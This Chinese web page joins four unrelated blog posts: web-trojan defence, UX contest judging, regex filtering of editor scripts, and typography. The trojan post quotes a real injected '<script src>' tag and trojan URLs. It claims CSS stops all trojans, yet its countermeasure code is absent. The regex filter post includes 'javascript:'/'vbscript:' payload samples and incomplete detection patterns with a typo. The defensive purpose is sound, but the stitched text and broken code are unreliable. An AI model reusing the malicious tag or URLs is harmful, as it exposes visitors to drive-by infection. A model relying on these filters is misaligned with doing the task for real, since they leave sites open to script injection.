解决网页木马问题

还是挂马问题，这段时间，我渐渐感到压力，头大，通过QQ或MSN加我的人越来越多，我最近自己的工作本来就忙得不亦乐乎。哎，想想，还是要抽空来来帮帮大家。

　　前不久《一行代码解决iframe挂马（包含服务器端注入、客户端ARP注入等）》得到了很多朋友的认可，这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了，现在流行挂<script>木马，汗了，看了几个网友的网站都被这样了——页面的顶部或底部加上了：

注意，以下地址含有木马，请不要轻易访问：

汗死，一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了，直接访问这个http://%76%63%63%64%2E%63%6E（或直接使用迅雷下载），额~　现形了：

又用迅雷下载http://a.158dm.com/b1.htm这个文件，一看，乱七八糟的JS编码，汗，不过找到了一个类似QQ号的数字，直接加加看，汗，然后是专业提供网马的组织，哎，什么世道。还收费蛮高滴呢！

针对上面的情况，我也不能白白瞧着不管，想想办法吧，兄弟。喝了碗绿豆粥，糖放得蛮多的，好喝。办法想到了。稍微分析就得出了答案。大家来看看，<script>木马的特点是什么：

<script src=http://%76%63%63%64%2E%63%6E></script>

对了，script木马的src一般都是外域的，也就是src是以http打头的，如果是自己网站的script一般都不用加上http；再看看木马的原形，里面还是输出的iframe、JS代码或是其他<object>代码，不管这么多，来多少杀多少。

来跟我写CSS，一一搞定它们,我写了5种不同的方案，大家来测试一下哈：

解决方案１：

原理：将<script>标记的src拿出来转为小写，再看是不是以“http”开头的外域JS脚本文件，如果是，则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
　　　　缺点：访客无法看到被感染了<script>木马的页面。
     

解决方案２：

原理：将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完，只有部分被强制缓存输出了，剩下的不会再写了。


解决方案３：

　原理：同到外域的JS文件，立即调用IE私有的execCommand方法来停止页面所有请求，所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案４：

　　　原理：将外域的JS文件的src重写成本地IE404错误页面的地址，这样，外域的JS代码不会下载。

解决方案5：

　　　第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id，如lhWeatherJSapi，<script src="***/**.js" id="lhSearchJSapi"></script>　

以下页面代码里含有一个木马地址，而且木马在页面里重复了6次，大家分别用我上面的不同方案测试一下，看看我的研究如何！（此测试有一定的危险性，请务必打好所有补丁再测试）

其中1.js是自己本站的：

我的测试环境是：
　　Windows XP SP2 和windows Vista SP1
      IE6/IE7/IE8
      已全部打好补丁。
综上所述，所有目前的挂马方式全都破解了，用CSS就可以解决所有木马问题，访客不会再轻易地中毒了。

    大家也要仔细研究一下，看看我的代码有什么BUG，有的话一定要拿出来讨论，好解决问题！或是各位有其他更好的办法可以拿出来讨论一下。

1、在接受网易奥运观方站比赛“用户体验评委”的任务之前，我很犹豫。因为“如何量化用户体验”永远是一个不能有精确解答的问题。作一个关于用户体验的评委很难。
用户体验是用户在使用产品/服务过程中建立的主观感受。不同用户的真实体验无法准确模拟。只能通过合适的模拟/实验来简单认识（算不上量化）界定明确的用户群的体验共性。

2、我是对之前参赛情况作了一些了解后才决定接受这个任务。
1) 基本可以为每个参赛作品界定一个明确的用户群 ─ 该参赛队所在高校的同学和老师。
2) 之前参赛作品普遍都在起步阶段，可以通过一些简单的用户体验基础原则和可用性标准，来区分作品的等级。
3) 这件事可以让更多的未来从业者了解和认识用户体验和产品设计。

3、任何产品/品牌的用户体验层次可以这么划分：”有用、能用、易用、友好”
首 先且永远都必须全力考虑“是否对用户有用，有什么用，如何对用户更有用？”；然后要全力让产品“能用。让用户真的可以顺利用上。”；接下来得让产品更加的 “易用。让用户可以更简单的使用”；最后要做到对用户更“友好”（这里的友好不只是视觉友好，还包括文字等一切和产品气质有关的东西），让用户在使用中感 受到愉悦。

4、我的简单评分原则是：
1) 是否对同学/老师有用。
不能一上去让我看到全是什么“娱乐八卦”或者“大波MM”或者满屏幕的抵制XXX。（有人会说同学们想看到的就是这些。但我认为这些只是他们想要的，并不是真正对他们有用的）
2) 是否可以解决最基础的兼容、稳定、速度等问题，做到“能用”。
不支持firefox，加载不流畅，前端代码混乱，速度不稳定，程序经常出错。都是很有问题的。
3) 是否符合简单的设计原则，使用过程是否简单容易。
常见问题：整体混乱没有信息规划，流程复杂，导航不清晰，使用过程不顺畅，整体设计不统一，等。
4) 界面设计是否舒服，展现给我的感觉是否友好。
常见问题：视觉元素过多，多余的视觉效果太多干扰正常内容，文字表达难理解，界面风格不统一，不能很好的把环境跟设计任何起来等
5) 是否有自己的创新，或者有自己的设计风格/特点。有没有可以让我记住的亮点。
6) 和上一次相比是否有进步，进步多大。
7) ..

5、当然，这个评分标准一定是建立在一个最基础的问题之上：参赛者具备基本的职业道德和素养。因为没有基础的职业素养就没有资格参赛。
我不反对且支持使用开源程序（技术开源可以让我们节约更多的社会劳动力），因为技术只是设计的实现手段，就好像产品的一切都是满足用户需求的解决手段。
但对于比赛，我们必须要有自己的原创设计。使用开源程序的时候，不能连表现层也不做任何优化和修改就拿来参赛，这是对于比赛和评委的不尊重，那些东西也根本不能算是你的“答卷”。我只给1分。（当你考试的时候填写了名字交白卷）
如果免费用了别人的开源程序，必须保留其Powered。如果连版权信息都给故意抹去，或者写上你的，这是对整个IT行业尤其是版权所有者的不尊重。我也有充分理由认为你是在蒙评委，让评委以为“这是你的原创”。这样作品的我给0分。
如果拿了别人的网站直接用，不做任何修改，不给留署名（让评委误认为是你的设计），在评委或者观众给出高评价时还不能主动站出来说“其实这不是我们的原创”。我会认为“这就是抄袭”，给负分（给你0分的同时为其他参赛队加分），并要求组织方核实是否需要取消比赛资格。

6、请不要说“抄袭也是需要能力的，怎么能给负分呢？”。这无异于说“作强盗也是需要实力的，怎么能没有社会价值呢？”。

就像我曾经说过的一样：作为一个产品设计从业者，面对“抄袭”应该有自己的“态度”，这是基本的职业素养。
我无权也无力辱骂那些丧心病狂的抄袭者，但我会拒绝使用，拒绝对这种产品的任何推广，并尽可能的抵制他们。更希望原创者们能有自己高质量的设计，让抄袭者看到“不丧 心病狂的抄袭，一样可以堂堂正正的做人”。

真诚的希望看到更多更好的作品出现，看到更多的原创和创新，而不是更多的机械化模仿、拷贝、抄袭、不留版权的转载和复制。对于这次比赛是这样，对于整个互联网行业也是同样的期待。
因为这个比赛其实只是整个IT行业的缩影，虽然他们还只是学生但早已被这个感染…

过滤所见所得编辑器里的危险脚本

<textarea id="bug" cols="80" rows="5">
<a onclick="test();
test1()"  onblur=
"test3()">test</a>
</textarea>
<button id="kick">抓虫2</button>
<script>
function kickBug(str) {
  return str.replace(/<[a-z][^>]+/ig,
           function($0,$1){
              return $0.replace(/\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*/ig,"");
           }
  );
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>

<textarea id="bug" cols="80" rows="5">
<a onclick="test();" href="
javascript:alert('a')" href="javascript:"
href="vbscript:alert()"
>test</a>
</textarea>
<button id="kick">抓虫3</button>
<script>
function kickBug(str) {
  return str.replace(/<[a-z][^>]+/ig,
           function($0,$1){
              return $0.replace(/\s*(href|src)\s*=\s*("\s*(javascript|vbscript):[^"]+"|'\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\s]+)/ig,"");
           }
  );
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>

所见所得的编辑器现在用得越来越多，原因之一，用户体验好。但是作为开发者，我们也应该清醒的认识到，这样的编辑器往往成了危险脚本、木马的温床。我们不能容忍蛀虫就在我们自己的东西里面滋生。
下面我就来尝试用正则替换的办法，使得编辑器里面的脚本无所遁形。可能我想的不是很全面，希望有漏网之鱼的，朋友们请提出。
脚本藏身之处不过有四：
1、<script>标签
2、on开头的标签属性
3、javascript(vbscript)伪协议
4、css的epression
5、<iframe>标签
下面是他们的字符串规则：
1、<script(.|\n)*\/script>\s*
2、\s*on[a-z]+\s*=\s*("[^"]+"|'[^']+'|[^\s]+)\s*(?=>)
3、\s*(href|src)\s*=\s*("\s*(javascript|vbscript):[^"]+"|'\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\s]+)\s*(?=>)
4、epression\((.|\n)*\);?
5、<iframe(.|\n)*\/iframe>\s*
了解他们的规则后，抓虫行动就水到渠成。下面看具体代码：

<textarea id="bug" cols="80" rows="5">
<button id="kick">抓虫1</button>
<script>
function kickBug(str) {
  return str.replace(/<script(.|\n)*\/script>\s*/ig,"");
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>
</textarea>
<button id="kick">抓虫</button>
<script>
function kickBug(str) {
  return str.replace(/<script(.|\n)*\/script>\s*/ig,"");
}
HTMLElement.prototype.__defineGetter__("innerText",function(){
 return this.textContent;
});
HTMLElement.prototype.__defineSetter__("innerText",function(text){
 this.textContent = text;
});
document.getElementById("kick").onclick = function() {
  var bug = document.getElementById("bug");
  bug.innerText = kickBug(bug.innerText);
}
</script>

 很多人都问我如何为一本杂志、一份报纸、一张海报、一份简报或是一份出版物选择一个合适的正文字体。一般我都会告诉他们该用哪个字体，但我知道，这不是最佳答案，因为他们没有学会如何自己去选择。

        今天，我打算花一点时间来分析一下怎样为不同的案例选择正确的正文字体进行排版设计。你应该知道，这些技巧并非金科玉律，但它们会是你选择正文字体时的好参谋。无论如何，这种选择取决于你希望用这个字体来表达什么，很多时候，易读性和字体的个性是同等的重要。所以请记住下面这些要点，小心从事。

1. The Letterform 字形

        上面的“弯管”体现了这个字体的结构。这一点很重要。为了文本的易读，我们应该采用字形尽量简单的字体，而不需要太多复杂的细节。这些细节会让阅读者分心，我们应该让读者关注文本的内容而非字体。

2. The Weight 字重

        当我们讨论字体的“重量”时，我们指的是字符之间的一种一致性关系，以及页面文本流的整体“亮度”。如果你为大段文字设置一种很纤细的字体，阅读起来就会很费力，没有人愿意去读它。

3. The Contrast 粗细对比

        粗细对比指的是垂直笔画和水平笔画之间的粗细差异-字符最粗部分和最细部分的差异。Bodoni 和 Didot 是粗细对比很强烈的字体。如果你看到 Bodoni 排版的文本的复印件的复印件的复印件，你就会发现你已经看不见水平笔画了。一款设计精良的正文字体应该能经受反复多次的复印。它的笔画应当是结实有力而不粗糙。

4. The axis 轴向

        我认为字体的轴向设置同样会影响阅读。正文字体的主流是垂直笔画，如果轴向是倾斜的，视线沿文本方向流动的时候就会造成干扰。如果一款字体使用了一种以上的轴向，那么这一行文本看起来就好像在跳舞，这样是很难阅读的。如果你采用垂直的轴向，字符就不会跳舞。

5. x height x高度

v基线到 x高度之间的区域包含了大部分的可读信息（75%的小写字母）。在阅读正文时这是非常重要的区域。上升部和下降部如果很长，就必然会导致 x高度很小。如果你比较例图中上升部长度不同的两款字体，你就会看出后者的 x高度更大，因而它也就更易于识别。你可以对比看看 Times New Roman 和 Mrs. Eaves 这两款字体的区别。

6. Capital letters height 大写字母高度

        旧式的字体设计中上升部和大写高度是一致的。有些字体中大写高度要更大一些... 那么大小写连排的时候通常就会很难看。比如我写一个‘Garamond’，这个“G”看起来就象是一只恐龙，而后面的“a”看上去就象是它的猎物...

7. Endings and details 末端和细节

        当我们在大字号下面使用一个字体时候(比如说一张海报)，一切都被放大。所有设计上的细节都变得很明显，同样明显的还有它的瑕疵。很多字体的绘制其实是很糟糕的。身为设计师，这是我们所无法忍受的。

8. Text and texture 文本和版面纹路

        从远处看，文本块就像是一张有纹路的织物。这种纹路应该是均匀的，那些特别突出的字符就像污点一样会分散人的注意力。

9. Degree of the Counter Opening 字谷开放的程度

        很多字体的设计中，字谷都封的太死了。这会导致识别困难，有人会把这个“c”当成一个“o”。但是，假如字谷过于开放（象 Frutiger 那样），内外空间的界限又会变得模糊，这样便产生大量的白空间，看上去会很难看。

10. The Fish Effect 鱼眼效应

        当内部空间明显大于字符间距时，这种效应就很突出。因此当一个圆形字母和一个直笔画的字母连排时，看上去就会很怪异。

11. External counter 外部空间

        一些小细节可以让一款正文字体更易于识别。如果外部空间经过很好的设计，文本就更易于阅读。想想小写“n”中竖笔和弧线的连接部分，或是‘rn’ 和‘m’的区别。

12. Internal counter 内部空间

        如果‘a’ 或‘e’的字“眼”过小，在小字号的时候它们可能根本就等于没有。在大多数语言中这些都是最常用的字母，所以这可不是什么小问题。

13. Is the set complete? 字符集是否完整

        不知道有多少次，我们发现我们所用的字库竟然缺少一些字符，并且总是到我们的设计将要完成的时候才发现。真恐怖！我们不得不改换字体然后重新校对全部的文本。许多字体设计师会漏掉一些字符，诸如“ñ”、重音符、波浪线、句号、逗号甚至是数字... 所以在你使用一个字体之前务必检查它的完整性。

14. The family 字族

        还有一个重要的事情是，检查字族是否足够丰富，是否包含了不同的磅数、粗细以及意大利体等等。确定它的意大利体和常规版本一样易于阅读。它们有时会包含许多洛可可风格的细节。

15. Letter spacing 字符间距

        有些字体的字间距很糟糕，甚至根本就不设置字间距，它们当然不会有什么好的效果。一个好的设计师会校正那些不太好的字间距，但假如全部的字间距都很糟糕，那你就有得忙了。当然有些软件会有一些辅助功能，但永远比不上一个好的字体设计师所做的。所以尽量采用那些字间距和度量合适的字体。